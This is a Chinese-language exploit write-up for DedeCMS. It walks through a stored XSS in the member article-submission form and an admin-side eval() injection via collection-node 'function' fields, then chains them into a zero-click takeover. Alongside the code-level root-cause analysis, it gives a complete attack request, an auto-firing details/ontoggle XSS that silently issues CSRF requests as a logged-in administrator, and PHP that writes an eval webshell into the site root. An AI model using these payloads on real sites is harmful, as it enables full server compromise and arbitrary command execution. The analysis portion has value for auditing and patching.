参考文章:

[0day]织梦DedeCMS 0click劫持导致的前台rce getshell

环境搭建:

源码下载:

https://www.dedecms.com/download

按照 readme.txt 进行安装:

前置准备:

首先需要注册一个账号,

默认会员功能是关闭的,建议将其开启:

包括会员使用权限也可以关闭,不然后续会很麻烦

http://dedecms:9876/member/index.php

在该页面进行注册

漏洞 1 - 前台 XSS

相关设置

在写文章的过程中,有“隶属栏目”是必选项,但是默认不存在任何栏目,需要管理员在后台添加:

漏洞复现

功能点:/member/article_add.php

标题和内容写入 XSS payload:<img src=x onerror=alert(document.cookie)>

当然,直接在此处编辑的内容都会被转义,前端富文本编辑器会自动将 <编码为 &lt;,需要用 Burp Suite 等工具直接构造 POST 请求,绕过前端编码。发送到服务器的数据已经“变形”了,所以最好是抓包后进行修改:

对 body 处进行写入 payload:

成功发布文章

访问对应的文章:/plus/view.php?aid={id}

可以看到触发了 XSS 漏洞:

漏洞分析

用户登录后,访问 /member/article_add.php 进行发布文章,拦截 POST 请求之后,对数据包中的 body 和 title ,写入 payload:<img src=b onerror=alert('xss')>(payload 构造后续分析),在服务器返回响应的过程中,代码是如何实现的?

uploads/member/article_add.php

在提交 POST 请求时可以注意到有 dopost save 字段

源码中也存在对应的代码

也就是说用户: POST (dopost=save)

-> include(DEDEMEMBER.’/inc/archives_check.php’); 此处是执行过滤的关键点

-> 处理附加表字段 ($dede_addonfields)

跟进:/inc/archives_check.php

重点关注以下四行:

php
1
2
3
4
5
$title = cn_substrR(HtmlReplace($title,1),$cfg_title_maxlen);
$writer =  cn_substrR(HtmlReplace($writer,1),20);

$description = cn_substrR(HtmlReplace($description,1),250);
$keywords = cn_substrR(HtmlReplace($tags,1),30);

这些都是对用户输入的数据调用**HtmlReplace()**函数进行处理

过滤函数 HtmlReplace()

继续跟进**HtmlReplace()**

uploads/include/helpers/filter.helper.php

php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/**
 *  去除html中不规则内容字符

 *
 * @access    public
 * @param     string  $str  需要处理的字符串
 * @param     string  $rptype  返回类型
 *            $rptype = 0 表示仅替换 html标记
 *            $rptype = 1 表示替换 html标记同时去除连续空白字符
 *            $rptype = 2 表示替换 html标记同时去除所有空白字符
 *            $rptype = -1 表示仅替换 html危险的标记 
 * @return    string
 */
if ( ! function_exists('HtmlReplace'))
{
    // 接收俩个参数,$str要处理的字符串;$rptype为处理模式,默认为0
    function HtmlReplace($str,$rptype=0)
    {
        // 移除字符串中的反斜杠转义(如 \' → ')。说明传入的字符串可能已经被 addslashes 处理过
        $str = stripslashes($str);
        //用正则删除 <style>...</style> 及 </style> 标签(含标签属性)
    		$str = preg_replace("/<[\/]{0,1}style([^>]*)>(.*)<\/style>/i", '', $str);//2011-06-30 禁止会员投稿添加css样式 (by:DedeCMS团队)
       ......
      //对处理结果再次加反斜杠转义
        return addslashes($str);
    }
}

$rptype = 0 表示仅替换 html标记

dede_htmlspecialchars()的作用是对字符< > " ' &进行转义

php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
if($rptype==0)
        {
            $str = dede_htmlspecialchars($str);
        }


function dede_htmlspecialchars($str) {
    global $cfg_soft_lang;
     // PHP < 5.4:直接调用,不指定编码
    if (version_compare(PHP_VERSION, '5.4.0', '<')) return htmlspecialchars($str, ENT_QUOTES);
    // PHP >= 5.4 且 gb2312 编码:用 ISO-8859-1 避免中文被吞
    if ($cfg_soft_lang=='gb2312') return htmlspecialchars($str, ENT_QUOTES, 'ISO-8859-1');
    // PHP >= 5.4 且 UTF-8:默认编码(UTF-8)
    else return htmlspecialchars($str, ENT_QUOTES);
}

$rptype = 1 表示替换 html标记同时去除连续空白字符

php
1
2
3
4
5
6
7
8
else if($rptype==1)
        {
            $str = dede_htmlspecialchars($str);
            // 全角空格 → 半角空格
            $str = str_replace(" ", ' ', $str);
            // 多个连续空白合并为一个空格
            $str = preg_replace("/[\r\n\t ]{1,}/", ' ', $str);
        }

$rptype = 2 表示替换 html标记同时去除所有空白字符

php
1
2
3
4
5
6
else if($rptype==2)
        {
            $str = dede_htmlspecialchars($str);
            $str = str_replace(" ", '', $str);
            $str = preg_replace("/[\r\n\t ]/", '', $str);
        }

$rptype = -1 表示仅替换 html 危险的标记

php
1
2
3
4
5
6
else
        {
            $str = preg_replace("/[\r\n\t ]{1,}/", ' ', $str);
            $str = preg_replace('/script/i', 'script', $str);
            $str = preg_replace("/<[\/]{0,1}(link|meta|ifr|fra)[^>]*>/i", '', $str);
        }

rptype = -1 存在很大的安全隐患

  • 未过滤的标签:、、、、 等

  • 未过滤的属性:所有 on* 事件处理器(onerror、onload、ontoggle 等)

  • 未调用 dede_htmlspecialchars(),< > 原样保留

$body 的处理

知道了过滤函数后,需要对用户输入的数据进行分析,判断其如何处理、如何绕过过滤函数。

找到对 $body 参数的处理,同样调用了 HtmlReplace 函数,过滤模式为 仅替换 html 危险的标记

php
1
2
$body = AnalyseHtmlBody($body, $description);
$body = HtmlReplace($body, -1);

$body = AnalyseHtmlBody($body, $description);这一步是对HTML文本、自动摘要、自动获取缩略图等进行处理,不涉及 XSS 过滤

之后进入:$body = HtmlReplace($body, -1);

在此模式下仅过滤 script/link/meta/ifr/fra,所以 XSS 还是有希望的

然后 $body 被存入数据库(附加表),并且可以携带恶意代码:

php
1
 $inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})";

最后当我们去访问文章时,plus/view.php?aid={id}该路径从数据库进行读取,在前端进行渲染,触发 XSS 代码。

总结漏洞利用链

  1. 入口:**member/article_add.php (dopost=save)**

用户 POST 提交文章,$body 包含恶意 HTML。需使用 Burp/curl 直接发包,绕过前端编辑器的实体编码转义。

  1. 过滤:**HtmlReplace($body, -1)**

rptype=-1 进入 else 分支,仅做三项处理:

  • 合并空白字符

  • “script” → 全角 “script”

  • 删除 link/meta/ifr/fra 标签

    未调用 dede_htmlspecialchars(),未过滤 /

    Payload:

  • img 不在黑名单

  • onerror 不含 “script”

  • < > 未被转义,原样通过

  1. 存储:**INSERT INTO dede_addonarticle(..., body)**

恶意代码原样写入数据库。

  1. 触发:**plus/view.php?aid={id}**

从数据库读取 body 内容,未做二次编码,直接渲染到 HTML 页面。浏览器解析<img src=x>,加载失败触发 onerror,执行alert(document.cookie)

存储型 XSS 攻击成功。

漏洞根因: HtmlReplace()rptype=-1 时采用不完善的黑名单策略,且未对 HTML 特殊字符做实体编码,导致大量可执行脚本的 HTML 标签和事件属性未被过滤。

漏洞 2 - 后台 RCE

漏洞复现

来到后台 - 采集 - 采集节点管理 - 增加新节点

其他内容随意填写,编码要选择 UTF8

保存信息

预览网址:

预览网址的域名必须和 DedeCMS 站点一致,路径可以随便写(404 也行),但域名不能错。

比如我的站点是 http://dedecms:9876,那预览网址就填: http://dedecms:9876/test.html

自定义处理接口 要写入 webshell

php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$file = '../shell.php';
$code = '<?php @eval($_POST["cmd"]); ?>';
if (!is_writable('.')) {
exit('!w');
}
if (file_put_contents($file, $code) === false) {
exit('!f');
}
echo "OK:$file";
?>
php
1
2
$file = 'shell.php';
$code = '<?php @eval($_POST["cmd"]); ?>';

保存配置并预览:成功上传 shell.php

漏洞分析

通过搜索危险函数确定入口点

在 php 代码的审计中,当然不可能一行一行代码的看过去,所以对危险函数进行搜索至关重要。

那么通过搜索eval(,找到 uploads/include/dedecollection.class.php 文件:

eval() 是 PHP 中最危险的函数之一,能执行任意代码。发现它就要追问:$phpcode 从哪来?用户能控制吗?并且此处的 eval 仅做变量替换,无任何安全过滤

追踪函数RunPHP()

php
1
$v = $this->RunPHP($sarr['v'],$sarr['f']);

显然参数 $phpcode 对应的是 $sarr[‘f’],继续寻找 $sarr[‘f’] 的来源

$sarr 来自 $tmpLtKeys

继续寻找 $sarr 发现是 artNotes

因为 $sarr[‘function’] 参数还有一个 function,所以 artNotes 也应该提供 function,继续进行搜索function

找到 LoadItemConfig 函数,也就是从 $configString 字符串中解析出来的 function

继续跟进 LoadItemConfig 函数,发现是从数据库里载入了一个节点

现在已经明确:$configString 就是数据库表 #@__co_noteitemconfig字段。

追踪谁向数据库写入了 itemconfig

下一步就是去找哪里向数据库写入了 itemconfig

全局搜索谁对 co_note 表的 itemconfig 做了 INSERT 或 UPDATE:

uploads/dede/co_add.php

关键代码:

plain
1
{dede:function}".$GLOBALS["function_".$field]."{/dede:function}

$GLOBALS["function_".$field] 直接对应用户 POST 提交的表单参数 function_titlefunction_body 等,没有任何过滤,直接拼入 itemconfig 存入数据库。

用户 POST function_xxx → co_add.php 拼接 → 写入 DB itemconfig → LoadItemConfig 解析 → artNotes[‘function’] → RunPHP() → eval()

从 eval() 一路回溯到用户输入,中间零过滤,这一条链路的分析已经完成。

写入点分析

全局搜索 itemconfig 时搜出了多个写入点,co_edit.php、co_edit_text.php、co_get_corule.php 属于同一个漏洞的不同触发路径

plain
1
2
require_once(dirname(__FILE__)."/config.php");
CheckPurview('co_AddNote');

step=5 拼接字符串 $itemconfig,其中直接包含用户提交的 function_ 字段内容

引入类文件

接下来就是 dedecollection.class.php LoadItemConfig()$itemconfig 中提取 function 字段,在后续执行eval()

总结利用链

阶段1 — 恶意代码存储

入口文件:uploads/dede/co_add.php(step=5)

权限检查:CheckPurview('co_AddNote'),需要后台管理员权限,无 CSRF Token 校验。

用户通过 POST 提交表单参数 function_xxx(如 function_title、function_body),在第 170 行被直接拼入 $itemconfig 字符串:

{dede:function}".$GLOBALS["function_".$field]."{/dede:function}

将 $itemconfig 直接写入数据库,零过滤:

$dsql->ExecuteNoneQuery("UPDATE #@__co_note SET itemconfig='$itemconfig' WHERE nid='$nid' ");

同一漏洞的其他写入路径:

  • co_edit.php:编辑采集规则,同样通过 function_xxx 参数写入

  • co_edit_text.php:专家模式,textarea 直接编辑整个 itemconfig 原文写入

  • co_get_corule.php:导入采集规则,从 textarea 粘贴的配置文本中解析写入

阶段2 — 恶意代码触发

触发文件:uploads/dede/co_gather_start_action.php

调用 $co->LoadNote($nid),从数据库读取 itemconfig 字段,进入 dedecollection.class.phpLoadItemConfig() 方法,在第 229 行解析出 {dede:function} 标签内容,存入$this->artNotes[$field]['function']

之后调用 $co->DownUrl(),进入 GetPageFields() 方法,在检测到 function 字段非空后,将其存入 $tmpLtKeys[$k]['f']

调用 $this->RunPHP($sarr['v'], $sarr['f']),执行:eval($phpcode.";");

漏洞本质

从用户 POST 输入到 eval() 执行,全链路零过滤、零白名单、零沙箱。虽然需要后台管理员权限,但由于无 CSRF 防护,攻击者可构造恶意页面诱导已登录管理员访问,间接注入恶意 PHP 代码,在下次采集执行时触发任意命令执行。

xss+后台rce组合拳 0click 劫持 导致的前台 rce getshell

漏洞复现

随便注册一个账号:

选择发表文章 /member/article_add.php

这里随便填入内容,并进行抓包

对数据包进行修改,在内容处插入 payload:

html
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
POST /member/article_add.php HTTP/1.1
Host: dedecms:9876
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9
Origin: http://dedecms:9876
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVkolGBB9b1qYBTzr
Cookie: PHPSESSID=ul9tip0bsccgfh7o1bbptnmn24; last_vtime=1772843080; last_vtime1BH21ANI1AGD297L1FF21LN02BGE1DNG=f041b308abf3db0b; last_vid=test5; last_vid1BH21ANI1AGD297L1FF21LN02BGE1DNG=b46b29d071147f62; DedeUserID=5; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=0094c7a94e5c063a; DedeLoginTime=1772843088; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=080132e7d52f0730; ENV_GOBACK_URL=%2Fmember%2Fcontent_list.php%3Fchannelid%3D1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:9876/member/article_add.php
Accept-Encoding: gzip, deflate
Content-Length: 1298

------WebKitFormBoundaryVkolGBB9b1qYBTzr
Content-Disposition: form-data; name="dopost"

save
------WebKitFormBoundaryVkolGBB9b1qYBTzr
Content-Disposition: form-data; name="channelid"

1
------WebKitFormBoundaryVkolGBB9b1qYBTzr
Content-Disposition: form-data; name="title"

test555
------WebKitFormBoundaryVkolGBB9b1qYBTzr
Content-Disposition: form-data; name="tags"


------WebKitFormBoundaryVkolGBB9b1qYBTzr
Content-Disposition: form-data; name="writer"

test5
------WebKitFormBoundaryVkolGBB9b1qYBTzr
Content-Disposition: form-data; name="typeid"

1
------WebKitFormBoundaryVkolGBB9b1qYBTzr
Content-Disposition: form-data; name="mtypesid"

0
------WebKitFormBoundaryVkolGBB9b1qYBTzr
Content-Disposition: form-data; name="description"


------WebKitFormBoundaryVkolGBB9b1qYBTzr
Content-Disposition: form-data; name="litpic"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryVkolGBB9b1qYBTzr
Content-Disposition: form-data; name="dede_addonfields"


------WebKitFormBoundaryVkolGBB9b1qYBTzr
Content-Disposition: form-data; name="dede_fieldshash"

e794e87a4f831953cdc022fbfa042ff6
------WebKitFormBoundaryVkolGBB9b1qYBTzr
Content-Disposition: form-data; name="body"

<details open ontoggle="fetch('/dede/co_add.php',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'channelid=1&step=2&dopost=preview&notename=short'}).then(r=>r.text()).then(t=>{console.log(t);let m=t.match(/name='nid' value='(.*?)'/);if(m){let nid=m[1];alert(nid);fetch('/dede/co_add.php',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'nid='+nid+'&channelid=1&step=5&previewurl=http%3A%2F%2Fdedecms:9876%2Ftest.html&sppage=&sptype=full&srul=1&erul=5&keywordtrim=&descriptiontrim=&fields[]=title&match_title=%3Ctitle%3E%5B%E5%86%85%E5%AE%B9%5D%3C%2Ftitle%3E&trim_title=&fields[]=writer&match_writer=&trim_writer=&fields[]=source&match_source=&trim_source=&fields[]=pubdate&match_pubdate=&trim_pubdate=&function_pubdate=%40me%3DGetMkTime%28%40me%29%3B&fields[]=body&value_body=&match_body=&isunit_body=1&isdown_body=1&trim_body=&function_body=%24file%20%3D%20%27..%2Fshell.php%27%3B%0D%0A%24code%20%3D%20%27%3C%3Fphp%20%40eval%28%24_POST%5B%22cmd%22%5D%29%3B%20%3F%3E%27%3B%0D%0Aif%20%28%21is_writable%28%27.%27%29%29%20%7B%0D%0A%09exit%28%27%21w%27%29%3B%0D%0A%7D%0D%0Aif%20%28file_put_contents%28%24file%2C%20%24code%29%20%3D%3D%3D%20false%29%20%7B%0D%0A%09exit%28%27%21f%27%29%3B%0D%0A%7D%0D%0Aecho%20%27OK%3A%27%20.%20%24file%3B%0D%0A%3F%3E&b12=%E4%BF%9D%E5%AD%98%E9%85%8D%E7%BD%AE%E5%B9%B6%E9%A2%84%E8%A7%88'}).then(r=>r.text()).then(res=>console.log(res))}})" hidden><summary></summary></details>
------WebKitFormBoundaryVkolGBB9b1qYBTzr--

在后台管理页面中,test555 是插入 payload 的文章

管理员打开文章后弹出弹窗,并且在网站根目录下生成 shell.php

payload 分析

完整 payload:

php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<details open ontoggle="                                                                                                                                                                              
    fetch('/dede/co_add.php', {                                                                                                                                                                       
      method: 'POST',
      credentials: 'include',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: 'channelid=1&step=2&dopost=preview&notename=short'
    })
    .then(r => r.text())
    .then(t => {
      console.log(t);
      let m = t.match(/name='nid' value='(.*?)'/);
      if(m) {
        let nid = m[1];
        alert(nid);
        
        let params = 'nid=' + nid
          + '&channelid=1&step=5'
          + '&previewurl=http%3A%2F%2Fdedecms:9876%2Ftest.html'
          + '&sppage=&sptype=full&srul=1&erul=5'
          + '&keywordtrim=&descriptiontrim='
          + '&fields[]=title&match_title=%3Ctitle%3E%5B%E5%86%85%E5%AE%B9%5D%3C%2Ftitle%3E&trim_title='
          + '&fields[]=writer&match_writer=&trim_writer='
          + '&fields[]=source&match_source=&trim_source='
          + '&fields[]=pubdate&match_pubdate=&trim_pubdate='
          + '&function_pubdate=%40me%3DGetMkTime%28%40me%29%3B'
          + '&fields[]=body&value_body=&match_body=&isunit_body=1&isdown_body=1&trim_body='
          + '&function_body=%24file%20%3D%20%27..%2Fshell.php%27%3B%0D%0A%24code%20%3D%20%27%3C%3Fphp%20%40eval%28%24_POST%5B%22cmd%22%5D%29%3B%20%3F%3E%27%3B%0D%0Aif%20%28%21is_writable%28%27.%27%29%
  29%20%7B%0D%0A%09exit%28%27%21w%27%29%3B%0D%0A%7D%0D%0Aif%20%28file_put_contents%28%24file%2C%20%24code%29%20%3D%3D%3D%20false%29%20%7B%0D%0A%09exit%28%27%21f%27%29%3B%0D%0A%7D%0D%0Aecho%20%27OK%3A%
  27%20.%20%24file%3B'
          + '&b12=%E4%BF%9D%E5%AD%98%E9%85%8D%E7%BD%AE%E5%B9%B6%E9%A2%84%E8%A7%88';

        fetch('/dede/co_add.php', {
          method: 'POST',
          credentials: 'include',
          headers: {'Content-Type': 'application/x-www-form-urlencoded'},
          body: params
        })
        .then(r => r.text())
        .then(res => console.log(res))
      }
    })"
  hidden>
    <summary></summary>
  </details>
html
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
外层 HTML — XSS 触发器:                                                                       
  <details open ontoggle="[JAVASCRIPT]" hidden>
    <summary></summary>                                                                                                                                                                                 
  </details>
                                                                                                                                                                                                        
JavaScript — 两阶段 CSRF 攻击:                                                                                                                                                                     
  // ========== 第一阶段:创建采集节点,获取 nid ==========
  fetch('/dede/co_add.php', {
    method: 'POST',
    credentials: 'include',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: 'channelid=1&step=2&dopost=preview&notename=short'
  })
  .then(r => r.text())
  .then(t => {
    console.log(t);
    let m = t.match(/name='nid' value='(.*?)'/);
    if (m) {
      let nid = m[1];
      alert(nid);

  // ========== 第二阶段:写入恶意 function_body ==========
      fetch('/dede/co_add.php', {
        method: 'POST',
        credentials: 'include',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: 'nid=' + nid + '&channelid=1&step=5&...[参数见下方]...'
      })
      .then(r => r.text())
      .then(res => console.log(res))
    }
  })

第二阶段 POST 参数(URL 解码后):
  nid             = [从第一阶段获取]
  channelid       = 1
  step            = 5
  previewurl      = http://dedecms:9876/test.html  [此处要注意的是,预览网址的域名必须和 DedeCMS 站点一致,路径可以随便写(404 也行),但域名不能错。比如我的站点是 http://dedecms:9876,那预览网址就填: http://dedecms:9876/test.html  ]
  sppage          =
  sptype          = full
  srul            = 1
  erul            = 5
  keywordtrim     =
  descriptiontrim =

  fields[]        = title
  match_title     = <title>[内容]</title>
  trim_title      =

  fields[]        = writer
  match_writer    =
  trim_writer     =

  fields[]        = source
  match_source    =
  trim_source     =

  fields[]        = pubdate
  match_pubdate   =
  trim_pubdate    =
  function_pubdate = @me=GetMkTime(@me);

  fields[]        = body
  value_body      =
  match_body      =
  isunit_body     = 1
  isdown_body     = 1
  trim_body       =
  function_body   = [恶意代码,见下方]

  function_body 的实际内容(写入 webshell):

  $file = '../shell.php';
  $code = '<?php @eval($_POST["cmd"]); ?>';
  if (!is_writable('.')) {
      exit('!w');
  }
  if (file_put_contents($file, $code) === false) {
      exit('!f');
  }
  echo 'OK:' . $file;
  ?>

逐层分析

1. XSS 触发方式

<details open ontoggle=...>

页面渲染时自动触发,不需要用户点击。管理员在后台审核文章时,打开页面即触发 ontoggle 事件执行 JavaScript。

2. 第一阶段 — 创建采集节点

php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 fetch('/dede/co_add.php', {
    method: 'POST',
    credentials: 'include',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: 'channelid=1&step=2&dopost=preview&notename=short'
  })
  .then(r => r.text())
  .then(t => {
    console.log(t);
    let m = t.match(/name='nid' value='(.*?)'/);
    if (m) {
      let nid = m[1];
      alert(nid);

向 co_add.php 发送 step=2&dopost=preview,进入 co_add.php:95 的 else 分支,在 #@__co_note 表中 INSERT 一条新记录,返回的 HTML 中包含 name=‘nid’ value=’…’,用正则提取 nid。

3. 第二阶段 — 注入恶意代码并触发执行

php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
fetch('/dede/co_add.php', {
        method: 'POST',
        credentials: 'include',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: 'nid=' + nid + '&channelid=1&step=5&...&function_body=...'
      })
      .then(r => r.text())
      .then(res => console.log(res))
    }
  })

  function_body 的实际内容(写入 webshell):

  $file = '../shell.php';
  $code = '<?php @eval($_POST["cmd"]); ?>';
  if (!is_writable('.')) {
      exit('!w');
  }
  if (file_put_contents($file, $code) === false) {
      exit('!f');
  }
  echo 'OK:' . $file;
  ?>

向 co_add.php 发送 step=5,此时:

  • function_body 的内容被拼入 {dede:function}…{/dede:function} 标签

  • 写入数据库 #@__co_note.itemconfig

  • 加载 co_add_step2_test.htm 模板

模板立即执行测试:

$dc->LoadNote($nid);

$dc->TestArt($previewurl); // → DownUrl() → GetPageFields() → RunPHP() → eval()